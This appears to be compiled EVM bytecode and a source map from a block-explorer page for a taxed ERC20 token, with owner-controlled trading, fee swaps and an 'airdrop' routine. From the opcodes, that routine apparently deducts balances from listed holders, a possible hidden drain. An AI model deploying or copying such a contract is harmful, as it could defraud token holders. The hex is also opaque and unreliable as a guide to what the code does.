45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ace5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b038216610b305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b60008111610b925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b0565b600080546001600160a01b03858116911614801590610bbf57506000546001600160a01b03848116911614155b8015610bd457506001600160a01b0384163014155b8015610be957506001600160a01b0383163014155b15610d7b57610c0e6064610c08600e5485610f5890919063ffffffff16565b90610fe1565b6009549091506001600160a01b038581169116148015610c3c57506008546001600160a01b03848116911614155b8015610c6157506001600160a01b03831660009081526003602052604090205460ff16155b15610ca457610c8c6064610c08600c54600f5411610c8157600a54610c85565b600b545b8590610f58565b600f80549192506000610c9e8361186a565b91905055505b6009546001600160a01b038481169116148015610cca57506001600160a01b0384163014155b15610cf557610cea6064610c08600c54600f5411610c8157600a54610c85565b9050610cf547611023565b30600090815260016020526040902054600954600160a81b900460ff16158015610d2c57506009546001600160a01b038581169116145b8015610d3b5750600d54600f54115b15610d7957600554811115610d6757610d67610d6284610d5d84600654611061565b611061565b611076565b478015610d7757610d7747611023565b505b505b8015610df55730600090815260016020526040902054610d9b90826111f0565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dec9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e18908361124f565b6001600160a01b038516600090815260016020526040902055610e5d610e3e838361124f565b6001600160a01b038516600090815260016020526040902054906111f0565b6001600160a01b038085166000818152600160205260409020929092556007541614610940576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ebc858561124f565b60405190815260200160405180910390a350505050565b60008184841115610ef75760405162461bcd60e51b81526004016103b0919061137b565b506000610f048486611883565b95945050505050565b60095460408051808201909152600e81526d105a5c991c9bdc0819985a5b195960921b60208201523391610f53918591849186916001600160a01b031683141590611291565b505050565b600082600003610f6a5750600061035f565b6000610f76838561177e565b905082610f8385836117e7565b14610fda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b0565b9392505050565b6000610fda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061134d565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561105d573d6000803e3d6000fd5b5050565b60008183116110705782610fda565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110be576110be611854565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b91906117ca565b8160018151811061114e5761114e611854565b6001600160a01b0392831660209182029290920101526008546111749130911684610946565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ad908590600090869030904290600401611896565b600060405180830381600087803b1580156111c757600080fd5b505af11580156111db573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806111fd8385611908565b905083811015610fda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b0565b6000610fda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed3565b8180156112c357506009546001600160a01b0386811691161415806112c357506004546001600160a01b038581169116145b81906112e25760405162461bcd60e51b81526004016103b0919061137b565b506001600160a01b038516600090815260016020526040902054611307908490611883565b6001600160a01b0386166000908152600160205260408120805490919061132f908490611883565b9091555050506001600160a01b039092166000525050600160205250565b6000818361136e5760405162461bcd60e51b81526004016103b0919061137b565b506000610f0484866117e7565b602081526000825180602084015260005b818110156113a9576020818601810151604086840101520161138c565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103e557600080fd5b600080604083850312156113f157600080fd5b82356113fc816113c9565b946020939093013593505050565b60008060006060848603121561141f57600080fd5b833561142a816113c9565b9250602084013561143a816113c9565b929592945050506040919091013590565b60006020828403121561145d57600080fd5b8135610fda816113c9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114a7576114a7611468565b604052919050565b600067ffffffffffffffff8211156114c9576114c9611468565b5060051b60200190565b600082601f8301126114e457600080fd5b81356114f76114f2826114af565b61147e565b8082825260208201915060208360051b86010192508583111561151957600080fd5b602085015b8381101561153657803583526020928301920161151e565b5095945050505050565b80151581146103e557600080fd5b803561155981611540565b919050565b60008060006060848603121561157357600080fd5b833567ffffffffffffffff81111561158a57600080fd5b8401601f8101861361159b57600080fd5b80356115a96114f2826114af565b8082825260208201915060208360051b8501019250888311156115cb57600080fd5b6020840193505b828410156115f65783356115e5816113c9565b8252602093840193909101906115d2565b9550505050602084013567ffffffffffffffff81111561161557600080fd5b611621868287016114d3565b9250506116306040850161154e565b90509250925092565b6000806040838503121561164c57600080fd5b8235611657816113c9565b91506020830135611667816113c9565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116c3578085048111156116a7576116a7611672565b60018416156116b557908102905b60019390931c92800261168c565b935093915050565b6000826116da5750600161035f565b816116e75750600061035f565b81600181146116fd576002811461170757611723565b600191505061035f565b60ff84111561171857611718611672565b50506001821b61035f565b5060208310610133831016604e8410600b8410161715611746575081810a61035f565b6117536000198484611688565b806000190482111561176757611767611672565b029392505050565b6000610fda60ff8416836116cb565b808202811582820484141761035f5761035f611672565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117dc57600080fd5b8151610fda816113c9565b60008261180457634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561181e57600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561184957600080fd5b8151610fda81611540565b634e487b7160e01b600052603260045260246000fd5b60006001820161187c5761187c611672565b5060010190565b8181038181111561035f5761035f611672565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118e85783516001600160a01b03168352602093840193909201916001016118c1565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561035f5761035f61167256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9a11abbe3968cf56b86852010bcb09380ad69b1cfd040870eb2a09becf3ad7c64736f6c634300081a0033

Deployed Bytecode Sourcemap

3934:8301:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5292:83;;;;;;;;;;-1:-1:-1;5362:5:0;;;;;;;;;;;;-1:-1:-1;;;5362:5:0;;;;5292:83;;;;;;;:::i;:::-;;;;;;;;6175:186;;;;;;;;;;-1:-1:-1;6175:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6175:186:0;1054:187:1;4472:42:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;4472:42:0;1246:177:1;5569:95:0;;;;;;;;;;;;;:::i;8776:110::-;;;;;;;;;;;;;:::i;:::-;;7056:393;;;;;;;;;;-1:-1:-1;7056:393:0;;;;;:::i;:::-;;:::i;5478:83::-;;;;;;;;;;-1:-1:-1;5478:83:0;;4758:1;2083:36:1;;2071:2;2056:18;5478:83:0;1941:184:1;5672:119:0;;;;;;;;;;-1:-1:-1;5672:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5765:18:0;5738:7;5765:18;;;:9;:18;;;;;;;5672:119;2745:148;;;;;;;;;;;;;:::i;2901:79::-;;;;;;;;;;-1:-1:-1;2939:7:0;2966:6;2901:79;;-1:-1:-1;;;;;2966:6:0;;;2528:51:1;;2516:2;2501:18;2901:79:0;2382:203:1;5383:87:0;;;;;;;;;;-1:-1:-1;5455:7:0;;;;;;;;;;;;-1:-1:-1;;;5455:7:0;;;;5383:87;;5799:192;;;;;;;;;;-1:-1:-1;5799:192:0;;;;;:::i;:::-;;:::i;4417:48::-;;;;;;;;;;;;;;;;7949:815;;;;;;;;;;;;;:::i;9369:280::-;;;;;;;;;;-1:-1:-1;9369:280:0;;;;;:::i;:::-;;:::i;5999:168::-;;;;;;;;;;-1:-1:-1;5999:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6132:18:0;;;6105:7;6132:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5999:168;6175:186;6275:4;6292:39;360:10;6315:7;6324:6;6292:8;:39::i;:::-;-1:-1:-1;6349:4:0;6175:186;;;;;:::o;5569:95::-;5622:7;4290:15;4758:1;4290:2;:15;:::i;:::-;4274:31;;:13;:31;:::i;:::-;5642:14;;5569:95;:::o;8776:110::-;3028:6;;-1:-1:-1;;;;;3028:6:0;360:10;3028:22;3020:67;;;;-1:-1:-1;;;3020:67:0;;;;;;;:::i;:::-;;;;;;;;;8827:51:::1;::::0;8835:10:::1;::::0;8856:21:::1;8827:51:::0;::::1;;;::::0;::::1;::::0;;;8856:21;8835:10;8827:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8776:110::o:0;7056:393::-;7188:4;7205:36;7215:6;7223:9;7234:6;7205:9;:36::i;:::-;7252:167;7275:6;7296:10;7321:87;7357:6;7321:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7321:19:0;;;;;;:11;:19;;;;;;;;7341:10;7321:31;;;;;;;;;:87;:35;:87::i;:::-;7252:8;:167::i;:::-;-1:-1:-1;7437:4:0;7056:393;;;;;:::o;2745:148::-;3028:6;;-1:-1:-1;;;;;3028:6:0;360:10;3028:22;3020:67;;;;-1:-1:-1;;;3020:67:0;;;;;;;:::i;:::-;2852:1:::1;2836:6:::0;;2815:40:::1;::::0;-1:-1:-1;;;;;2836:6:0;;::::1;::::0;2815:40:::1;::::0;2852:1;;2815:40:::1;2883:1;2866:19:::0;;-1:-1:-1;;;;;;2866:19:0::1;::::0;;2745:148::o;5799:192::-;5902:4;5919:42;360:10;5943:9;5954:6;5919:9;:42::i;7949:815::-;3028:6;;-1:-1:-1;;;;;3028:6:0;360:10;3028:22;3020:67;;;;-1:-1:-1;;;3020:67:0;;;;;;;:::i;:::-;8011:11:::1;::::0;-1:-1:-1;;;8011:11:0;::::1;;;8010:12;8002:48;;;::::0;-1:-1:-1;;;8002:48:0;;8155:2:1;8002:48:0::1;::::0;::::1;8137:21:1::0;8194:2;8174:18;;;8167:30;8233:25;8213:18;;;8206:53;8276:18;;8002:48:0::1;7953:347:1::0;8002:48:0::1;8061:15;:104:::0;;-1:-1:-1;;;;;;8061:104:0::1;8112:42;8061:104:::0;;::::1;::::0;;;8177:58:::1;::::0;8194:4:::1;::::0;4290:15:::1;4758:1;4290:2;:15;:::i;:::-;4274:31;::::0;:13:::1;:31;:::i;8177:58::-;8281:15;;;;;;;;;-1:-1:-1::0;;;;;8281:15:0::1;-1:-1:-1::0;;;;;8281:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8263:55:0::1;;8341:4;8361:15;;;;;;;;;-1:-1:-1::0;;;;;8361:15:0::1;-1:-1:-1::0;;;;;8361:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8263:131;::::0;-1:-1:-1;;;;;;8263:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8753:32:1;;;8263:131:0::1;::::0;::::1;8735:51:1::0;8822:32;;8802:18;;;8795:60;8708:18;;8263:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8247:13;:147:::0;;-1:-1:-1;;;;;8247:147:0;;::::1;-1:-1:-1::0;;;;;;8247:147:0;;::::1;;::::0;;8407:15:::1;::::0;::::1;:31;8446:21;8491:4;8544;8511:24;8491:4:::0;-1:-1:-1;;;;;5765:18:0;5738:7;5765:18;;;:9;:18;;;;;;;5672:119;8511:24:::1;:30;::::0;8538:3:::1;8511:30;:::i;:::-;:37;;;;:::i;:::-;8563:1;8579::::0;8595:7:::1;2939::::0;2966:6;-1:-1:-1;;;;;2966:6:0;;2901:79;8595:7:::1;8407:236;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8407:236:0;;;-1:-1:-1;;;;;9409:32:1;;;8407:236:0::1;::::0;::::1;9391:51:1::0;9458:18;;;9451:34;;;;9501:18;;;9494:34;;;;9544:18;;;9537:34;9608:32;;;9587:19;;;9580:61;8617:15:0::1;9657:19:1::0;;;9650:35;9363:19;;8407:236:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8661:13:0::1;::::0;8692:15:::1;::::0;8654:71:::1;::::0;-1:-1:-1;;;8654:71:0;;-1:-1:-1;;;;;8692:15:0;;::::1;8654:71;::::0;::::1;10331:51:1::0;-1:-1:-1;;10398:18:1;;;10391:34;8661:13:0;::::1;::::0;-1:-1:-1;8654:29:0::1;::::0;10304:18:1;;8654:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8738:11:0::1;:18:::0;;-1:-1:-1;;;;8738:18:0::1;-1:-1:-1::0;;;8738:18:0::1;::::0;;7949:815::o;9369:280::-;9486:11;9478:49;;;;-1:-1:-1;;;9478:49:0;;10888:2:1;9478:49:0;;;10870:21:1;10927:2;10907:18;;;10900:30;10966:27;10946:18;;;10939:55;11011:18;;9478:49:0;10686:349:1;9478:49:0;9543:9;9538:104;9562:9;:16;9558:1;:20;9538:104;;;9600:30;9605:9;9615:1;9605:12;;;;;;;;:::i;:::-;;;;;;;9619:7;9627:1;9619:10;;;;;;;;:::i;:::-;;;;;;;9600:4;:30::i;:::-;9580:3;;9538:104;;;;9369:280;;;:::o;6369:335::-;-1:-1:-1;;;;;6462:19:0;;6454:68;;;;-1:-1:-1;;;6454:68:0;;11374:2:1;6454:68:0;;;11356:21:1;11413:2;11393:18;;;11386:30;11452:34;11432:18;;;11425:62;-1:-1:-1;;;11503:18:1;;;11496:34;11547:19;;6454:68:0;11172:400:1;6454:68:0;-1:-1:-1;;;;;6541:21:0;;6533:68;;;;-1:-1:-1;;;6533:68:0;;11779:2:1;6533:68:0;;;11761:21:1;11818:2;11798:18;;;11791:30;11857:34;11837:18;;;11830:62;-1:-1:-1;;;11908:18:1;;;11901:32;11950:19;;6533:68:0;11577:398:1;6533:68:0;-1:-1:-1;;;;;6612:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6664:32;;1392:25:1;;;6664:32:0;;1365:18:1;6664:32:0;;;;;;;6369:335;;;:::o;9657:2534::-;-1:-1:-1;;;;;9753:20:0;;9745:70;;;;-1:-1:-1;;;9745:70:0;;12182:2:1;9745:70:0;;;12164:21:1;12221:2;12201:18;;;12194:30;12260:34;12240:18;;;12233:62;-1:-1:-1;;;12311:18:1;;;12304:35;12356:19;;9745:70:0;11980:401:1;9745:70:0;-1:-1:-1;;;;;9834:22:0;;9826:70;;;;-1:-1:-1;;;9826:70:0;;12588:2:1;9826:70:0;;;12570:21:1;12627:2;12607:18;;;12600:30;12666:34;12646:18;;;12639:62;-1:-1:-1;;;12717:18:1;;;12710:33;12760:19;;9826:70:0;12386:399:1;9826:70:0;9924:1;9915:6;:10;9907:64;;;;-1:-1:-1;;;9907:64:0;;12992:2:1;9907:64:0;;;12974:21:1;13031:2;13011:18;;;13004:30;13070:34;13050:18;;;13043:62;-1:-1:-1;;;13121:18:1;;;13114:39;13170:19;;9907:64:0;12790:405:1;9907:64:0;9982:17;2966:6;;-1:-1:-1;;;;;10032:17:0;;;2966:6;;10032:17;;;;:53;;-1:-1:-1;2939:7:0;2966:6;-1:-1:-1;;;;;10066:19:0;;;2966:6;;10066:19;;10032:53;:93;;;;-1:-1:-1;;;;;;10102:23:0;;10120:4;10102:23;;10032:93;:135;;;;-1:-1:-1;;;;;;10142:25:0;;10162:4;10142:25;;10032:135;10014:1757;;;10206:33;10235:3;10206:24;10217:12;;10206:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;10288:13;;10194:45;;-1:-1:-1;;;;;;10278:23:0;;;10288:13;;10278:23;:80;;;;-1:-1:-1;10342:15:0;;-1:-1:-1;;;;;10322:36:0;;;10342:15;;10322:36;;10278:80;:130;;;;-1:-1:-1;;;;;;10380:28:0;;;;;;:18;:28;;;;;;;;10379:29;10278:130;10256:475;;;10455:230;10681:3;10455:199;10527:10;;10515:9;;:22;10514:117;;10617:14;;10514:117;;;10570:15;;10514:117;10455:6;;:32;:199::i;:230::-;10704:9;:11;;10443:242;;-1:-1:-1;10704:9:0;:11;;;:::i;:::-;;;;;;10256:475;10763:13;;-1:-1:-1;;;;;10751:25:0;;;10763:13;;10751:25;:52;;;;-1:-1:-1;;;;;;10780:23:0;;10798:4;10780:23;;10751:52;10747:372;;;10836:230;11062:3;10836:199;10908:10;;10896:9;;:22;10895:117;;10998:14;;10895:117;;10836:230;10824:242;;11068:35;11081:21;11068:12;:35::i;:::-;11184:4;11135:28;5765:18;;;:9;:18;;;;;;11228:6;;-1:-1:-1;;;11228:6:0;;;;11227:7;:53;;;;-1:-1:-1;11267:13:0;;-1:-1:-1;;;;;11255:25:0;;;11267:13;;11255:25;11227:53;:104;;;;;11313:18;;11301:9;;:30;11227:104;11205:555;;;11393:17;;11370:20;:40;11366:185;;;11433:118;11477:51;11481:6;11489:38;11493:20;11515:11;;11489:3;:38::i;:::-;11477:3;:51::i;:::-;11433:17;:118::i;:::-;11599:21;11643:22;;11639:106;;11690:35;11703:21;11690:12;:35::i;:::-;11347:413;11205:555;10179:1592;10014:1757;11787:13;;11783:174;;11862:4;11844:24;;;;:9;:24;;;;;;:39;;11873:9;11844:28;:39::i;:::-;11835:4;11817:24;;;;:9;:24;;;;;;;:66;;;;11903:42;;-1:-1:-1;;;;;11903:42:0;;;;;;;11935:9;1392:25:1;;1380:2;1365:18;;1246:177;11903:42:0;;;;;;;;11783:174;-1:-1:-1;;;;;11987:17:0;;;;;;:9;:17;;;;;;:29;;12009:6;11987:21;:29::i;:::-;-1:-1:-1;;;;;11967:17:0;;;;;;:9;:17;;;;;:49;12049:46;12073:21;:6;12084:9;12073:10;:21::i;:::-;-1:-1:-1;;;;;12049:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;12027:19:0;;;;;;;:9;:19;;;;;:68;;;;12122:5;;;12110:17;12106:77;;-1:-1:-1;;;;;12134:49:0;;;;;;;12161:21;:6;12172:9;12161:10;:21::i;:::-;12134:49;;1392:25:1;;;1380:2;1365:18;12134:49:0;;;;;;;9734:2457;9657:2534;;;:::o;1547:224::-;1667:7;1703:12;1695:6;;;;1687:29;;;;-1:-1:-1;;;1687:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1727:9:0;1739:5;1743:1;1739;:5;:::i;:::-;1727:17;1547:224;-1:-1:-1;;;;;1547:224:0:o;9172:189::-;9321:13;;9278:75;;;;;;;;;;;;-1:-1:-1;;;9278:75:0;;;;9257:10;;9278:75;;9285:8;;9257:10;;9303:6;;-1:-1:-1;;;;;9321:13:0;9311:23;;;;9278:6;:75::i;:::-;9229:132;9172:189;;:::o;1779:246::-;1837:7;1861:1;1866;1861:6;1857:47;;-1:-1:-1;1891:1:0;1884:8;;1857:47;1914:9;1926:5;1930:1;1926;:5;:::i;:::-;1914:17;-1:-1:-1;1959:1:0;1950:5;1954:1;1914:17;1950:5;:::i;:::-;:10;1942:56;;;;-1:-1:-1;;;1942:56:0;;13675:2:1;1942:56:0;;;13657:21:1;13714:2;13694:18;;;13687:30;13753:34;13733:18;;;13726:62;-1:-1:-1;;;13804:18:1;;;13797:31;13845:19;;1942:56:0;13473:397:1;1942:56:0;2016:1;1779:246;-1:-1:-1;;;1779:246:0:o;2033:132::-;2091:7;2118:39;2122:1;2125;2118:39;;;;;;;;;;;;;;;;;:3;:39::i;6712:92::-;6769:10;;:27;;-1:-1:-1;;;;;6769:10:0;;;;:27;;;;;6789:6;;6769:10;:27;:10;:27;6789:6;6769:10;:27;;;;;;;;;;;;;;;;;;;;;6712:92;:::o;5177:107::-;5234:7;5266:1;5262;:5;5261:15;;5275:1;5261:15;;;-1:-1:-1;5271:1:0;5177:107;-1:-1:-1;5177:107:0:o;7457:484::-;4806:6;:13;;-1:-1:-1;;;;4806:13:0;-1:-1:-1;;;4806:13:0;;;7560:16:::1;::::0;;7574:1:::1;7560:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7560:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7560:16:0::1;7536:40;;7605:4;7587;7592:1;7587:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7587:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7631:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7631:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7587:7;;7631:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7621:4;7626:1;7621:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7621:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7696:15:::1;::::0;7664:62:::1;::::0;7681:4:::1;::::0;7696:15:::1;7714:11:::0;7664:8:::1;:62::i;:::-;7737:15;::::0;:196:::1;::::0;-1:-1:-1;;;7737:196:0;;-1:-1:-1;;;;;7737:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7818:11;;7737:15:::1;::::0;7860:4;;7887::::1;::::0;7907:15:::1;::::0;7737:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4842:6:0;:14;;-1:-1:-1;;;;4842:14:0;;;-1:-1:-1;;;;7457:484:0:o;1216:179::-;1274:7;;1306:5;1310:1;1306;:5;:::i;:::-;1294:17;;1335:1;1330;:6;;1322:46;;;;-1:-1:-1;;;1322:46:0;;15171:2:1;1322:46:0;;;15153:21:1;15210:2;15190:18;;;15183:30;15249:29;15229:18;;;15222:57;15296:18;;1322:46:0;14969:351:1;1403:136:0;1461:7;1488:43;1492:1;1495;1488:43;;;;;;;;;;;;;;;;;:3;:43::i;8894:270::-;9007:2;:49;;;;-1:-1:-1;9022:13:0;;-1:-1:-1;;;;;9014:21:0;;;9022:13;;9014:21;;;:41;;-1:-1:-1;9045:10:0;;-1:-1:-1;;;;;9039:16:0;;;9045:10;;9039:16;9014:41;9058:3;8999:63;;;;;-1:-1:-1;;;8999:63:0;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;9092:15:0;;;;;;:9;:15;;;;;;:24;;9110:6;;9092:24;:::i;:::-;-1:-1:-1;;;;;9073:15:0;;;;;;:9;:15;;;;;:43;;:15;;;:43;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;;9143:13:0;;;;;-1:-1:-1;;9143:9:0;:13;;-1:-1:-1;8894:270:0:o;2173:223::-;2293:7;2328:12;2321:5;2313:28;;;;-1:-1:-1;;;2313:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2352:9:0;2364:5;2368:1;2364;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2130:247::-;2189:6;2242:2;2230:9;2221:7;2217:23;2213:32;2210:52;;;2258:1;2255;2248:12;2210:52;2297:9;2284:23;2316:31;2341:5;2316:31;:::i;2590:127::-;2651:10;2646:3;2642:20;2639:1;2632:31;2682:4;2679:1;2672:15;2706:4;2703:1;2696:15;2722:275;2793:2;2787:9;2858:2;2839:13;;-1:-1:-1;;2835:27:1;2823:40;;2893:18;2878:34;;2914:22;;;2875:62;2872:88;;;2940:18;;:::i;:::-;2976:2;2969:22;2722:275;;-1:-1:-1;2722:275:1:o;3002:183::-;3062:4;3095:18;3087:6;3084:30;3081:56;;;3117:18;;:::i;:::-;-1:-1:-1;3162:1:1;3158:14;3174:4;3154:25;;3002:183::o;3190:723::-;3244:5;3297:3;3290:4;3282:6;3278:17;3274:27;3264:55;;3315:1;3312;3305:12;3264:55;3355:6;3342:20;3382:64;3398:47;3438:6;3398:47;:::i;:::-;3382:64;:::i;:::-;3470:3;3494:6;3489:3;3482:19;3526:4;3521:3;3517:14;3510:21;;3587:4;3577:6;3574:1;3570:14;3562:6;3558:27;3554:38;3540:52;;3615:3;3607:6;3604:15;3601:35;;;3632:1;3629;3622:12;3601:35;3668:4;3660:6;3656:17;3682:200;3698:6;3693:3;3690:15;3682:200;;;3790:17;;3820:18;;3867:4;3858:14;;;;3715;3682:200;;;-1:-1:-1;3900:7:1;3190:723;-1:-1:-1;;;;;3190:723:1:o;3918:118::-;4004:5;3997:13;3990:21;3983:5;3980:32;3970:60;;4026:1;4023;4016:12;4041:128;4106:20;;4135:28;4106:20;4135:28;:::i;:::-;4041:128;;;:::o;4174:1283::-;4298:6;4306;4314;4367:2;4355:9;4346:7;4342:23;4338:32;4335:52;;;4383:1;4380;4373:12;4335:52;4423:9;4410:23;4456:18;4448:6;4445:30;4442:50;;;4488:1;4485;4478:12;4442:50;4511:22;;4564:4;4556:13;;4552:27;-1:-1:-1;4542:55:1;;4593:1;4590;4583:12;4542:55;4633:2;4620:16;4656:64;4672:47;4712:6;4672:47;:::i;4656:64::-;4742:3;4766:6;4761:3;4754:19;4798:4;4793:3;4789:14;4782:21;;4855:4;4845:6;4842:1;4838:14;4834:2;4830:23;4826:34;4812:48;;4883:7;4875:6;4872:19;4869:39;;;4904:1;4901;4894:12;4869:39;4936:4;4932:2;4928:13;4917:24;;4950:221;4966:6;4961:3;4958:15;4950:221;;;5048:3;5035:17;5065:31;5090:5;5065:31;:::i;:::-;5109:18;;5156:4;4983:14;;;;5147;;;;4950:221;;;5190:5;-1:-1:-1;;;;5248:4:1;5233:20;;5220:34;5279:18;5266:32;;5263:52;;;5311:1;5308;5301:12;5263:52;5334:63;5389:7;5378:8;5367:9;5363:24;5334:63;:::i;:::-;5324:73;;;5416:35;5447:2;5436:9;5432:18;5416:35;:::i;:::-;5406:45;;4174:1283;;;;;:::o;5462:388::-;5530:6;5538;5591:2;5579:9;5570:7;5566:23;5562:32;5559:52;;;5607:1;5604;5597:12;5559:52;5646:9;5633:23;5665:31;5690:5;5665:31;:::i;:::-;5715:5;-1:-1:-1;5772:2:1;5757:18;;5744:32;5785:33;5744:32;5785:33;:::i;:::-;5837:7;5827:17;;;5462:388;;;;;:::o;5855:127::-;5916:10;5911:3;5907:20;5904:1;5897:31;5947:4;5944:1;5937:15;5971:4;5968:1;5961:15;5987:375;6075:1;6093:5;6107:249;6128:1;6118:8;6115:15;6107:249;;;6178:4;6173:3;6169:14;6163:4;6160:24;6157:50;;;6187:18;;:::i;:::-;6237:1;6227:8;6223:16;6220:49;;;6251:16;;;;6220:49;6334:1;6330:16;;;;;6290:15;;6107:249;;;5987:375;;;;;;:::o;6367:902::-;6416:5;6446:8;6436:80;;-1:-1:-1;6487:1:1;6501:5;;6436:80;6535:4;6525:76;;-1:-1:-1;6572:1:1;6586:5;;6525:76;6617:4;6635:1;6630:59;;;;6703:1;6698:174;;;;6610:262;;6630:59;6660:1;6651:10;;6674:5;;;6698:174;6735:3;6725:8;6722:17;6719:43;;;6742:18;;:::i;:::-;-1:-1:-1;;6798:1:1;6784:16;;6857:5;;6610:262;;6956:2;6946:8;6943:16;6937:3;6931:4;6928:13;6924:36;6918:2;6908:8;6905:16;6900:2;6894:4;6891:12;6887:35;6884:77;6881:203;;;-1:-1:-1;6993:19:1;;;7069:5;;6881:203;7116:42;-1: